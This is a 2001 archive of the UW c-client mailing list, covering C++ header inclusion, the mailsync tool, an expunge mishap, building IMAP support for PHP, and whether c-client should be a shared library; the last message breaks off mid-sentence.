seth.lpthe.jussieu.fr (IDENT:zeitlin@seth.lpthe.jussieu.fr [134.157.10.7]) by parthe.lpthe.jussieu.fr (8.11.1/jtpda-5.3.1) with ESMTP id f5FA5HP17490 for ; Fri, 15 Jun 2001 12:05:17 +0200 (MEST) Received: from (zeitlin@localhost) by seth.lpthe.jussieu.fr (8.8.7/jtpda-5.1) id MAA19105 ; Fri, 15 Jun 2001 12:05:17 +0200 Message-Id: <200106151005.MAA19105@seth.lpthe.jussieu.fr> Date: Fri, 15 Jun 2001 12:05:17 +0200 (CET) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Vadim Zeitlin To: c-client@u.washington.edu Subject: Re: Using c-client in c++ In-Reply-To: <01061507121301.05093@jalna> References: <01061507121301.05093@jalna> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Disposition: INLINE X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 15 Jun 2001 07:12:13 -0200 Sachin O. Agrawal wrote: SOA> I got following errors while including "mail.h" in a c++ source file. You should include instead. If you really, really need to include some cclient header directly, you should do something like this: #define private ccclientPrivate #include #undef private HTH, VZ From pinedev@shivax2.cac.washington.edu Fri Jun 15 05:42:29 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 15 Jun 2001 05:42:28 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5FCgRD20260 for ; Fri, 15 Jun 2001 05:42:27 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Fri Jun 15 05:42:27 2001 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5FCgPu22583; Fri, 15 Jun 2001 05:42:25 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5FCgDH06688; Fri, 15 Jun 2001 05:42:13 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5FCfU0108176 for ; Fri, 15 Jun 2001 05:41:30 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5FCfTF29862 for ; Fri, 15 Jun 2001 05:41:29 -0700 Received: from btclick.com (mta02.btfusion.com [62.172.195.247]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5FCfSu22569 for ; Fri, 15 Jun 2001 05:41:29 -0700 Received: from vengeance.int.acris.co.uk ([213.123.193.176]) by btclick.com (Netscape Messaging Server 4.05) with ESMTP id GEZ1WS03.H38 for ; Fri, 15 Jun 2001 13:41:16 +0100 Received: from acris.co.uk (minerva.int.acris.co.uk [192.168.42.3]) by vengeance.int.acris.co.uk (8.9.3/8.9.3) with ESMTP id OAA30594 for ; Fri, 15 Jun 2001 14:29:30 +0100 Message-Id: <3B2A03AD.B967F106@acris.co.uk> Date: Fri, 15 Jun 2001 13:46:37 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Julian Hall To: c-client@CAC.Washington.EDU Subject: 'mailsync' program experiences & loss of mail problem? References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi; just a couple of questions. My company is considering deploying a system with two UW IMAP servers; one on an internet-based server to allow employees to access e-mail from remote systems and possibly support a future webmail system, and another on our local server so that employees in the office do not have to access an internet based server in order to read their mail. I found a cclient based program called 'mailsync' on sourceforge that seems to be capable of maintaining the synchronization necessary between these two servers. Has anybody else got any experience of using this or other programs in a similar set-up that they could relate? How reliable is it? On a different tack, one of my users recently complained that using their usual client (Netscape Communicator 4.7/Win32) they highlighted a batch of messages, chose to delete them and then chose the 'compact folder' option (ie, performed an expunge). The folder was then left containing the messages that were not highlighted... the delete operation apparently deleted the wrong messages. Does anyone have any idea how this might have occurred? Thanks for your help! Jules -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Jun 15 12:00:32 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 15 Jun 2001 12:00:31 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5FJ0UD32217 for ; Fri, 15 Jun 2001 12:00:30 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Fri Jun 15 12:00:29 2001 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5FJ0Ru02266; Fri, 15 Jun 2001 12:00:27 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5FJ09X26130; Fri, 15 Jun 2001 12:00:13 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5FIwh042084 for ; Fri, 15 Jun 2001 11:58:46 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5FIweX11038 for ; Fri, 15 Jun 2001 11:58:40 -0700 Received: from patroclus.doppke.com ([64.71.131.235]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5FIweu02152 for ; Fri, 15 Jun 2001 11:58:40 -0700 Received: from localhost (tim@localhost) by patroclus.doppke.com (8.9.3/8.9.3) with ESMTP id LAA27445 for ; Fri, 15 Jun 2001 11:57:19 -0700 Message-Id: Date: Fri, 15 Jun 2001 11:57:19 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Tim Culver To: c-client@CAC.Washington.EDU Subject: Re: 'mailsync' program experiences & loss of mail problem? In-Reply-To: <3B2A03AD.B967F106@acris.co.uk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 15 Jun 2001, Julian Hall wrote: > I found a cclient based program called 'mailsync' on sourceforge that seems to > be capable of maintaining the synchronization necessary between these two > servers. Has anybody else got any experience of using this or other programs > in a similar set-up that they could relate? How reliable is it? I am the author of mailsync. It has been reliable for personal use. However, to my knowledge, it hasn't been tested in a large multi-user setup. If you decide to use it, please let me know how it goes. -- Tim Culver tim@doppke.com From pinedev@shivax2.cac.washington.edu Sun Jun 17 23:49:11 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Sun, 17 Jun 2001 23:49:07 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5I6n5D27424 for ; Sun, 17 Jun 2001 23:49:06 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Sun Jun 17 23:49:05 2001 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5I6n3u05635; Sun, 17 Jun 2001 23:49:03 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5I6mfX04492; Sun, 17 Jun 2001 23:48:41 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5I6iC046242 for ; Sun, 17 Jun 2001 23:44:12 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5I6iCK12724 for ; Sun, 17 Jun 2001 23:44:12 -0700 Received: from smtp01do.de.uu.net (smtp01do.de.uu.net [192.76.144.61]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5I6i9u05543 for ; Sun, 17 Jun 2001 23:44:11 -0700 Received: from penelope (penelope.materna.de [193.96.115.65]) by smtp01do.de.uu.net (5.5.5/5.5.5) with ESMTP id IAA02482 for ; Mon, 18 Jun 2001 08:44:02 +0200 (MET DST) Received: from ganymed (actually ganymed.materna.de) by penelope with ESMTP; Mon, 18 Jun 2001 08:44:00 +0200 Received: from taxis.materna.de (actually localhost) by ganymed with Internet with ESMTP; Mon, 18 Jun 2001 08:44:00 +0200 Received: by taxis.materna.de with Internet Mail Service (5.5.2653.19) id ; Mon, 18 Jun 2001 08:43:59 +0200 Message-Id: <73B855B4F72FD411A1CF009027B113C401511A1B@taxis.materna.de> Date: Mon, 18 Jun 2001 08:43:57 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: julia.petkau@materna.de To: c-client@CAC.Washington.EDU Subject: Samples MIME-Version: 1.0 Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: quoted-printable X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, where can I find any samples for c-client? Thanks Julia ************************************************************************= **** ************ MATERNA GmbH Information & Communications Julia Petkau Business Unit Communications Vo=DFkuhle 37 44141 Dortmund GERMANY Fon +49 (231) 55 99 - 8409 Fax +49 (231) 55 99 - 8688 +49 (231) 55 99 - 67 8947 Mail julia.petkau@materna.de -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Jun 18 01:33:43 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 18 Jun 2001 01:33:32 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5I8W3D13970 for ; Mon, 18 Jun 2001 01:32:35 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Mon Jun 18 01:31:49 2001 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5I8VlC31210; Mon, 18 Jun 2001 01:31:47 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5I8VVE31762; Mon, 18 Jun 2001 01:31:32 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5I8UL078660 for ; Mon, 18 Jun 2001 01:30:21 -0700 Received: from hotmail.com (f229.law11.hotmail.com [64.4.17.229]) by mxu3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5I8ULX24941 for ; Mon, 18 Jun 2001 01:30:21 -0700 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Mon, 18 Jun 2001 01:30:18 -0700 Received: from 151.99.155.2 by lw11fd.law11.hotmail.msn.com with HTTP; Mon, 18 Jun 2001 08:30:17 GMT Message-Id: Date: Mon, 18 Jun 2001 08:30:17 -0000 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "ANDREA CIGLIANO" To: c-client@u.washington.edu Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1; format=flowed X-Originating-IP: [151.99.155.2] X-OriginalArrivalTime: 18 Jun 2001 08:30:18.0089 (UTC) FILETIME=[E7D15D90:01C0F7D0] X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I have some problem when I install imap libraries with php. My web server apache don' t runs, there is an error when I restart Apache. Someone can I help me? _________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Jun 18 01:49:23 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 18 Jun 2001 01:49:16 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5I8n9D16709 for ; Mon, 18 Jun 2001 01:49:11 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Mon Jun 18 01:49:06 2001 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5I8n4C31514; Mon, 18 Jun 2001 01:49:04 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5I8mrE09408; Mon, 18 Jun 2001 01:48:53 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5I8mA086308 for ; Mon, 18 Jun 2001 01:48:10 -0700 Received: from hermes.birddog.com (hermes.birddog.com [63.125.164.131]) by mxu3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5I8mAX26587 for ; Mon, 18 Jun 2001 01:48:10 -0700 Received: from terryhome (bdsi41.birddog.com [10.10.4.1] (may be forged)) by hermes.birddog.com (8.11.2/go_away) with SMTP id f5I8m3K28345; Mon, 18 Jun 2001 03:48:03 -0500 Message-Id: Date: Mon, 18 Jun 2001 03:50:34 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Terry Davis" To: "ANDREA CIGLIANO" Cc: Subject: RE: In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2462.0000 X-Scanned-By: MIMEDefang 0.7 (http://www.roaringpenguin.com/mimedefang/) X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I am assuming you are wanting to install a webmail package of some sort. make sure you compile imap when you download it. simply untarring the contents wont do it. 'make slx' for linux. then go back to php and do: --with-imap=../uw-imap ( of course this must be the path to the directory that was just untarred above. -----Original Message----- From: C-CLIENT-owner@u.washington.edu [mailto:C-CLIENT-owner@u.washington.edu]On Behalf Of ANDREA CIGLIANO Sent: Monday, June 18, 2001 3:30 AM To: c-client@u.washington.edu Subject: I have some problem when I install imap libraries with php. My web server apache don' t runs, there is an error when I restart Apache. Someone can I help me? _________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Jun 18 03:54:28 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 18 Jun 2001 03:54:27 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5IAsQD00970 for ; Mon, 18 Jun 2001 03:54:26 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Mon Jun 18 03:54:25 2001 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5IAsNC01257; Mon, 18 Jun 2001 03:54:23 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5IAsBH09520; Mon, 18 Jun 2001 03:54:11 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5IArA0100092 for ; Mon, 18 Jun 2001 03:53:10 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5IArAX06404 for ; Mon, 18 Jun 2001 03:53:10 -0700 Received: from btclick.com (mta01.btfusion.com [62.172.195.11]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5IAr8u09888 for ; Mon, 18 Jun 2001 03:53:09 -0700 Received: from vengeance.int.acris.co.uk ([213.123.193.233]) by btclick.com (Netscape Messaging Server 4.05) with ESMTP id GF4GWD04.Q2A for ; Mon, 18 Jun 2001 11:53:01 +0100 Received: from acris.co.uk (minerva.int.acris.co.uk [192.168.42.3]) by vengeance.int.acris.co.uk (8.9.3/8.9.3) with ESMTP id MAA20422 for ; Mon, 18 Jun 2001 12:39:42 +0100 Message-Id: <3B2DDED5.4BED6D9B@acris.co.uk> Date: Mon, 18 Jun 2001 11:58:29 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Julian Hall To: c-client@CAC.Washington.EDU Subject: Re: 'mailsync' program experiences & loss of mail problem? References: <3B2A03AD.B967F106@acris.co.uk> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I wrote: > On a different tack, one of my users recently complained that using their > usual client (Netscape Communicator 4.7/Win32) they highlighted a batch of > messages, chose to delete them and then chose the 'compact folder' option (ie, > performed an expunge). The folder was then left containing the messages that > were not highlighted... the delete operation apparently deleted the wrong > messages. Does anyone have any idea how this might have occurred? I mis-phrased that slightly. The messages left in the folder were the ones that had been selected for deletion; the messages that had not been selected for deletion were removed. Unfortunately, (or possibly fortunately?) I haven't been able to reproduce this, so am unable to tell if it is a client problem, server problem or user error (although it seems a hard error to make - the folder in question had many hundreds of messages in it when it was restored from backup!) From pinedev@shivax2.cac.washington.edu Mon Jun 18 05:53:28 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 18 Jun 2001 05:53:28 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5ICrQD22853 for ; Mon, 18 Jun 2001 05:53:26 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Mon Jun 18 05:53:26 2001 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5ICrNC03398; Mon, 18 Jun 2001 05:53:23 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5ICr8p22892; Mon, 18 Jun 2001 05:53:08 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5ICqR098722 for ; Mon, 18 Jun 2001 05:52:27 -0700 Received: from shiva.jussieu.fr (shiva.jussieu.fr [134.157.0.129]) by mxu2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5ICqQK09995 for ; Mon, 18 Jun 2001 05:52:26 -0700 Received: from parthe.lpthe.jussieu.fr (parthe.lpthe.jussieu.fr [134.157.10.1]) by shiva.jussieu.fr (8.11.3/jtpda-5.3.3) with ESMTP id f5ICqNu45132 ; Mon, 18 Jun 2001 14:52:23 +0200 (CEST) Received: from seth.lpthe.jussieu.fr (IDENT:zeitlin@seth.lpthe.jussieu.fr [134.157.10.7]) by parthe.lpthe.jussieu.fr (8.11.1/jtpda-5.3.1) with ESMTP id f5ICqMP24532 ; Mon, 18 Jun 2001 14:52:22 +0200 (MEST) Received: from (zeitlin@localhost) by seth.lpthe.jussieu.fr (8.8.7/jtpda-5.1) id OAA21413 ; Mon, 18 Jun 2001 14:52:22 +0200 Message-Id: <200106181252.OAA21413@seth.lpthe.jussieu.fr> Date: Mon, 18 Jun 2001 14:51:01 +0200 (CET) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Vadim Zeitlin To: c-client@u.washington.edu, julia.petkau@materna.de Subject: Re: Samples In-Reply-To: <73B855B4F72FD411A1CF009027B113C401511A1B@taxis.materna.de> References: <73B855B4F72FD411A1CF009027B113C401511A1B@taxis.materna.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Disposition: INLINE X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 18 Jun 2001 08:43:57 +0200 julia.petkau@materna.de wrote: > where can I find any samples for c-client? You might look at mtest and various programs from imap-utils. Regards, VZ From pinedev@shivax2.cac.washington.edu Mon Jun 18 15:42:12 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 18 Jun 2001 15:42:10 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5IMg6D07998 for ; Mon, 18 Jun 2001 15:42:07 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Mon Jun 18 15:42:04 2001 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5IMg2u01666; Mon, 18 Jun 2001 15:42:02 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5IMeDE33742; Mon, 18 Jun 2001 15:40:14 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5IMJR027970 for ; Mon, 18 Jun 2001 15:19:27 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5IMJQF09459 for ; Mon, 18 Jun 2001 15:19:26 -0700 Received: from patroclus.doppke.com ([64.71.131.235]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5IMJQu00696 for ; Mon, 18 Jun 2001 15:19:26 -0700 Received: from localhost (tim@localhost) by patroclus.doppke.com (8.9.3/8.9.3) with ESMTP id PAA05729; Mon, 18 Jun 2001 15:17:39 -0700 Message-Id: Date: Mon, 18 Jun 2001 15:17:39 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Tim Culver To: "T.Pospisek's MailLists" Cc: Julian Hall , c-client@CAC.Washington.EDU Subject: Re: 'mailsync' program experiences & loss of mail problem? In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN You're right, Tomas, this is a good question for the list. We want to ship an operating system with a shared-object version of the c-client library. Is the c-client API stable enough to do that? Of course I'm interested in Mark's answer. But I am also interested in hearing the opinions of developers of widely-used mail clients. -Tim Tim Culver wrote: > > I am starting to think it would be wise to incorporate c-client into > > mailsync---that is, distribute a known-working version of the c-client > > source with mailsync, and start keeping mailsync up-to-date with c-client > > bugfixes. > > > > I understand that this is diametrically opposed to the idea of making > > c-client a shared library. But I am pretty sure Mark Crispin expects > > developers to incorporate c-client. For instance, the API is documented > > in a file called "internal.txt". Also, version numbers correspond to > > dates, not API revisions. Tomas Pospisek responded: > IMHO it would be *much* better just to keep in sync with the library by > using it then by incorporating it. FYI, as of Debian, there are allready 3 > versions of c-client in. I don't think it's very smart to add yet another > one...please don't do it. Please remeber the nice UNIX idea: for each task > one tool. From pinedev@shivax2.cac.washington.edu Mon Jun 18 17:02:28 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 18 Jun 2001 17:02:28 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5J02QD11240 for ; Mon, 18 Jun 2001 17:02:27 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Mon Jun 18 17:02:26 2001 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5J02Lu04671; Mon, 18 Jun 2001 17:02:21 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5J026H22040; Mon, 18 Jun 2001 17:02:06 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5INnD051746 for ; Mon, 18 Jun 2001 16:49:14 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5INnCF03737 for ; Mon, 18 Jun 2001 16:49:12 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.5]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5INnCC27841 for ; Mon, 18 Jun 2001 16:49:12 -0700 Received: from mailhost1.u.washington.edu (mailhost1.u.washington.edu [140.142.32.2]) by mxout1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5INnB108516; Mon, 18 Jun 2001 16:49:11 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (mccabe@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5INnBi07945; Mon, 18 Jun 2001 16:49:11 -0700 Message-Id: Date: Mon, 18 Jun 2001 16:40:43 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Tim Culver Cc: "T.Pospisek's MailLists" , Julian Hall , c-client@CAC.Washington.EDU Subject: Re: 'mailsync' program experiences & loss of mail problem? In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 18 Jun 2001 15:17:39 -0700 (PDT), Tim Culver wrote: > We want to > ship an operating system with a shared-object version of the c-client > library. Is the c-client API stable enough to do that? Of course I'm > interested in Mark's answer. It's a question of what you mean by "stable". For the definition of "stable" as "nothing changes in it any more, it'll be the same next year as it is now", then c-client most assuredly is not stable. I work on c-client and related software (including imapd) on a daily basis. The only time c-client is "stable" in that sense is when I go on vacation. For the definition of "stable" as in "can you build reliable applications from it" then c-client has been stable for many years. The problem is, for the purposes of shared libraries, I fear that the former definition of "stable" is the one that most people care about. I don't see much benefit to having 3+ versions of c-client shared library lying around, and it's unfortunate if, as is reported, that is the status quo on Debian. Last but not least, you need to consider the purpose in making c-client be a shared library. It only makes sense if you have several simultaneously running applications that use c-client. If you just run imapd, it doesn't make any difference whether c-client is shared or in the imapd binary. Similarly if you just run Pine. If you run both imapd and Pine on a continuous basis, then you get a single instance benefit to having c-client be shared. If ipop3d is also run continuously, then you get a second instance, which *might* be worth 